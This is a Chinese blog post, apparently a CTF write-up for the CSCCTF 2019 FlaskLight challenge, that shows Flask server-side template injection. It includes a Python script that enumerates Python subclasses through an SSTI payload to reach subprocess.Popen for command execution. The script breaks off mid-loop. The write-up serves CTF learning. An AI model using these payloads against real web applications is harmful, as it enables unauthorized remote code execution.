flask ssti-subprocess.Popen(8-18)

本文介绍了在CSCCTF 2019 Qual的FlaskLight挑战中,如何利用 SSTI(Server-Side Template Injection)漏洞尝试读取文件和执行命令。通过get方法请求发现存在SSTI,并尝试通过subprocess.Popen执行命令,但app.py无法读取,命令执行也受到限制。最终找到了第258行的subprocess.Popen方法作为payload突破口。
摘要由CSDN通过智能技术生成

学习文章

[CSCCTF 2019 Qual]FlaskLight

 get方法请求结合题目试试ssti

说明确实存在ssti

读取文件成功但是读不了app.py,命令执行也被禁止,看看大佬怎么bypass的

先写个脚本爆出可利用的类

import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
    try:
        url = "http://aa86b4ee-a0a7-4634-8ef2-f4e80e7613ce.node3.buuoj.cn/?search={
  {''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
        r = requests.get(url)
        res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
        time.sleep(0.1)
      
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值